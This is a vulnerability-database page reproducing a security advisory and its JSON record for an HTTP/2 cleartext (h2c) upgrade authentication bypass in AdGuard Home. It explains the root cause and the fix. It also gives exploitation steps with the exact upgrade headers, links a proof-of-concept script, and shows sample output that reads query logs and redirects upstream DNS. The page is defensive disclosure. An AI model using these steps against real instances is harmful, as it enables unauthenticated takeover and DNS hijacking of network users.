GHSA-5FG6-WRQ4-W5GH

Vulnerability from github – Published: 2026-03-12 14:47 – Updated: 2026-03-12 14:47
VLAI?
Summary
AdGuard Home: HTTP/2 Cleartext (h2c) Upgrade Authentication Bypass
Details

VULNERABILITY: HTTP/2 Cleartext (h2c) Upgrade Authentication Bypass

Severity:  CRITICAL CVSS 3.1:  9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) CWE:       CWE-287 (Improper Authentication) Component: internal/home/web.go Affected:  AdGuardHome (tested on v0.107.72)


Summary

An unauthenticated remote attacker can bypass all authentication in AdGuardHome by sending an HTTP/1.1 request that requests an upgrade to HTTP/2 cleartext (h2c). Once the upgrade is accepted, the resulting HTTP/2 connection is handled by the inner mux, which has no authentication middleware attached. All subsequent HTTP/2 requests on that connection are processed as fully authenticated, regardless of whether any credentials were provided.


Root Cause

In internal/home/web.go (approximately lines 268-283), the HTTP server is constructed as follows:     hdlr := h2c.NewHandler(         withMiddlewares(web.conf.mux, limitRequestBody),  // no auth         &http2.Server{},     )     web.httpServer = &http.Server{         Handler: web.auth.middleware().Wrap(hdlr),        // auth here     }

The authentication middleware wraps the h2c handler at the outer layer. When an h2c upgrade request arrives, the h2c library hijacks the TCP connection and calls http2.ServeConn with Handler set to the inner mux, which was stored at h2c.NewHandler creation time. The authentication middleware is never consulted for any request sent over the resulting HTTP/2 connection. The upgrade request itself passes through because it targets a public path (such as /control/login), which is whitelisted by isPublicResource() in internal/home/authhttp.go. After the upgrade, the attacker can reach any administrative endpoint.


Proof of Concept

The PoC script (https://gist.github.com/mandreko/f742d244dfa452e8d00cc5736cf8d629) demonstrates the bypass using a raw TCP connection with HTTP/2 framing. No credentials are provided at any point.

Steps:   1. Open TCP connection to AdGuardHome (default port 3000).   2. Send HTTP/1.1 GET /control/login with headers:        Upgrade: h2c        Connection: Upgrade, HTTP2-Settings        HTTP2-Settings: AAMAAABkAAQAAP__   3. Server responds: 101 Switching Protocols.   4. Complete HTTP/2 handshake (client preface + SETTINGS exchange).   5. Send HTTP/2 HEADERS frame requesting GET /control/status on stream 3.   6. Server responds: HTTP 200 with full JSON status payload.

Sample output (no username or password supplied):     python3 poc_h2c_auth_bypass.py 192.168.1.15 80 --hijack-dns 8.8.8.8     ====================================================================     AdGuardHome -- h2c Authentication Bypass PoC     CWE-287: Full API access without credentials     ====================================================================     Target  : http://192.168.1.15:80     Upgrade : /control/login  (whitelisted public path)

[*] Connecting and performing h2c upgrade ...     [+] Bypass established -- authentication is not enforced

[*] GET /control/status     [+] Version      : v0.107.72     [+] DNS addresses: ['127.0.0.1', '::1', '192.168.1.15', 'fd64:b28c:45d2:4b5e:d35c:7660:e1b:92', 'fe80::ba65:3afa:617f:f077%eth0']     [+] HTTP port    : 80     [+] Protection   : ON

[*] GET /control/querylog  (DNS query history)     [+] 10 recent entries:         2026-03-09T20:42:15  docker.home.andreko.net                   192.168.1.232         2026-03-09T20:42:00  docker.home.andreko.net                   192.168.1.232         2026-03-09T20:41:45  docker.home.andreko.net                   192.168.1.232         2026-03-09T20:41:30  docker.home.andreko.net                   192.168.1.232         2026-03-09T20:41:12  docker.home.andreko.net                   192.168.1.232

[*] GET /control/dhcp/status  (network device inventory)     [+] Dynamic leases : 0     [+] Static leases  : 0

[*] POST /control/dns_config  (DNS -> 8.8.8.8)     [+] Upstream DNS changed to 8.8.8.8     [+] All DNS queries now route through attacker-controlled server

The bypass gives full administrative API access, including:   - Reading and modifying DNS configuration   - Adding malicious filter lists   - Disabling protection   - Changing the admin password   - Hijacking DNS resolution for all clients on the network


Remediation

Move the authentication middleware inside the h2c handler so it applies to all connections regardless of protocol:     authedMux := web.auth.middleware().Wrap(         withMiddlewares(web.conf.mux, limitRequestBody),     )     hdlr := h2c.NewHandler(authedMux, &http2.Server{})     web.httpServer = &http.Server{         Handler: hdlr,     }

Alternatively, if h2c support is not required, removing h2c.NewHandler entirely would eliminate the attack surface. HTTP/2 over TLS (h2) is not affected by this vulnerability.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/AdguardTeam/AdGuardHome"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.107.73"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-32136"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-12T14:47:48Z",
    "nvd_published_at": "2026-03-11T22:16:33Z",
    "severity": "CRITICAL"
  },
  "details": "VULNERABILITY: HTTP/2 Cleartext (h2c) Upgrade Authentication Bypass\n========================================================================\nSeverity: \u00a0CRITICAL\nCVSS 3.1: \u00a09.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)\nCWE: \u00a0 \u00a0 \u00a0 CWE-287 (Improper Authentication)\nComponent: internal/home/web.go\nAffected: \u00a0AdGuardHome (tested on v0.107.72)\n\n------------------------------------------------------------------------\nSummary\n------------------------------------------------------------------------\n\nAn unauthenticated remote attacker can bypass all authentication in AdGuardHome by sending an HTTP/1.1 request that requests an upgrade to HTTP/2 cleartext (h2c). Once the upgrade is accepted, the resulting HTTP/2 connection is handled by the inner mux, which has no authentication middleware attached. All subsequent HTTP/2 requests on that connection are processed as fully authenticated, regardless of whether any credentials were provided.\n\n------------------------------------------------------------------------\nRoot Cause\n------------------------------------------------------------------------\n\nIn internal/home/web.go (approximately lines 268-283), the HTTP server is constructed as follows:\n\u00a0 \u00a0 hdlr := h2c.NewHandler(\n\u00a0 \u00a0 \u00a0 \u00a0 withMiddlewares(web.conf.mux, limitRequestBody), \u00a0// no auth\n\u00a0 \u00a0 \u00a0 \u00a0 \u0026http2.Server{},\n\u00a0 \u00a0 )\n\u00a0 \u00a0 web.httpServer = \u0026http.Server{\n\u00a0 \u00a0 \u00a0 \u00a0 Handler: web.auth.middleware().Wrap(hdlr), \u00a0 \u00a0 \u00a0 \u00a0// auth here\n\u00a0 \u00a0 }\n\nThe authentication middleware wraps the h2c handler at the outer layer. When an h2c upgrade request arrives, the h2c library hijacks the TCP connection and calls http2.ServeConn with Handler set to the inner mux, which was stored at h2c.NewHandler creation time. The authentication middleware is never consulted for any request sent over the resulting HTTP/2 connection. The upgrade request itself passes through because it targets a public path (such as /control/login), which is whitelisted by isPublicResource() in internal/home/authhttp.go. After the upgrade, the attacker can reach any administrative endpoint.\n\n------------------------------------------------------------------------\nProof of Concept\n------------------------------------------------------------------------\n\nThe PoC script (https://gist.github.com/mandreko/f742d244dfa452e8d00cc5736cf8d629) demonstrates the bypass using a raw TCP connection with HTTP/2 framing. No credentials are provided at any point.\n\nSteps:\n\u00a0 1. Open TCP connection to AdGuardHome (default port 3000).\n\u00a0 2. Send HTTP/1.1 GET /control/login with headers:\n\u00a0 \u00a0 \u00a0 \u00a0Upgrade: h2c\n\u00a0 \u00a0 \u00a0 \u00a0Connection: Upgrade, HTTP2-Settings\n\u00a0 \u00a0 \u00a0 \u00a0HTTP2-Settings: AAMAAABkAAQAAP__\n\u00a0 3. Server responds: 101 Switching Protocols.\n\u00a0 4. Complete HTTP/2 handshake (client preface + SETTINGS exchange).\n\u00a0 5. Send HTTP/2 HEADERS frame requesting GET /control/status on stream 3.\n\u00a0 6. Server responds: HTTP 200 with full JSON status payload.\n\nSample output (no username or password supplied):\n\u00a0 \u00a0 python3 poc_h2c_auth_bypass.py 192.168.1.15 80 --hijack-dns 8.8.8.8\n\u00a0 \u00a0 ====================================================================\n\u00a0 \u00a0 AdGuardHome -- h2c Authentication Bypass PoC\n\u00a0 \u00a0 CWE-287: Full API access without credentials\n\u00a0 \u00a0 ====================================================================\n\u00a0 \u00a0 Target \u00a0: [http://192.168.1.15:80](http://192.168.1.15/)\n\u00a0 \u00a0 Upgrade : /control/login \u00a0(whitelisted public path)\n\n\u00a0 \u00a0 [*] Connecting and performing h2c upgrade ...\n\u00a0 \u00a0 [+] Bypass established -- authentication is not enforced\n\n\u00a0 \u00a0 [*] GET /control/status\n\u00a0 \u00a0 [+] Version \u00a0 \u00a0 \u00a0: v0.107.72\n\u00a0 \u00a0 [+] DNS addresses: [\u0027127.0.0.1\u0027, \u0027::1\u0027, \u0027192.168.1.15\u0027, \u0027fd64:b28c:45d2:4b5e:d35c:7660:e1b:92\u0027, \u0027fe80::ba65:3afa:617f:f077%eth0\u0027]\n\u00a0 \u00a0 [+] HTTP port \u00a0 \u00a0: 80\n\u00a0 \u00a0 [+] Protection \u00a0 : ON\n\n\u00a0 \u00a0 [*] GET /control/querylog \u00a0(DNS query history)\n\u00a0 \u00a0 [+] 10 recent entries:\n\u00a0 \u00a0 \u00a0 \u00a0 2026-03-09T20:42:15 \u00a0[docker.home.andreko.net](http://docker.home.andreko.net/) \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 192.168.1.232\n\u00a0 \u00a0 \u00a0 \u00a0 2026-03-09T20:42:00 \u00a0[docker.home.andreko.net](http://docker.home.andreko.net/) \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 192.168.1.232\n\u00a0 \u00a0 \u00a0 \u00a0 2026-03-09T20:41:45 \u00a0[docker.home.andreko.net](http://docker.home.andreko.net/) \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 192.168.1.232\n\u00a0 \u00a0 \u00a0 \u00a0 2026-03-09T20:41:30 \u00a0[docker.home.andreko.net](http://docker.home.andreko.net/) \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 192.168.1.232\n\u00a0 \u00a0 \u00a0 \u00a0 2026-03-09T20:41:12 \u00a0[docker.home.andreko.net](http://docker.home.andreko.net/) \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 192.168.1.232\n\n\u00a0 \u00a0 [*] GET /control/dhcp/status \u00a0(network device inventory)\n\u00a0 \u00a0 [+] Dynamic leases : 0\n\u00a0 \u00a0 [+] Static leases \u00a0: 0\n\n\u00a0 \u00a0 [*] POST /control/dns_config \u00a0(DNS -\u003e 8.8.8.8)\n\u00a0 \u00a0 [+] Upstream DNS changed to 8.8.8.8\n\u00a0 \u00a0 [+] All DNS queries now route through attacker-controlled server\n\nThe bypass gives full administrative API access, including:\n\u00a0 - Reading and modifying DNS configuration\n\u00a0 - Adding malicious filter lists\n\u00a0 - Disabling protection\n\u00a0 - Changing the admin password\n\u00a0 - Hijacking DNS resolution for all clients on the network\n\n------------------------------------------------------------------------\nRemediation\n------------------------------------------------------------------------\n\nMove the authentication middleware inside the h2c handler so it applies to all connections regardless of protocol:\n\u00a0 \u00a0 authedMux := web.auth.middleware().Wrap(\n\u00a0 \u00a0 \u00a0 \u00a0 withMiddlewares(web.conf.mux, limitRequestBody),\n\u00a0 \u00a0 )\n\u00a0 \u00a0 hdlr := h2c.NewHandler(authedMux, \u0026http2.Server{})\n\u00a0 \u00a0 web.httpServer = \u0026http.Server{\n\u00a0 \u00a0 \u00a0 \u00a0 Handler: hdlr,\n\u00a0 \u00a0 }\n\nAlternatively, if h2c support is not required, removing h2c.NewHandler entirely would eliminate the attack surface. HTTP/2 over TLS (h2) is not affected by this vulnerability.",
  "id": "GHSA-5fg6-wrq4-w5gh",
  "modified": "2026-03-12T14:47:48Z",
  "published": "2026-03-12T14:47:48Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/AdguardTeam/AdGuardHome/security/advisories/GHSA-5fg6-wrq4-w5gh"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32136"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/AdguardTeam/AdGuardHome"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "AdGuard Home: HTTP/2 Cleartext (h2c) Upgrade Authentication Bypass"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…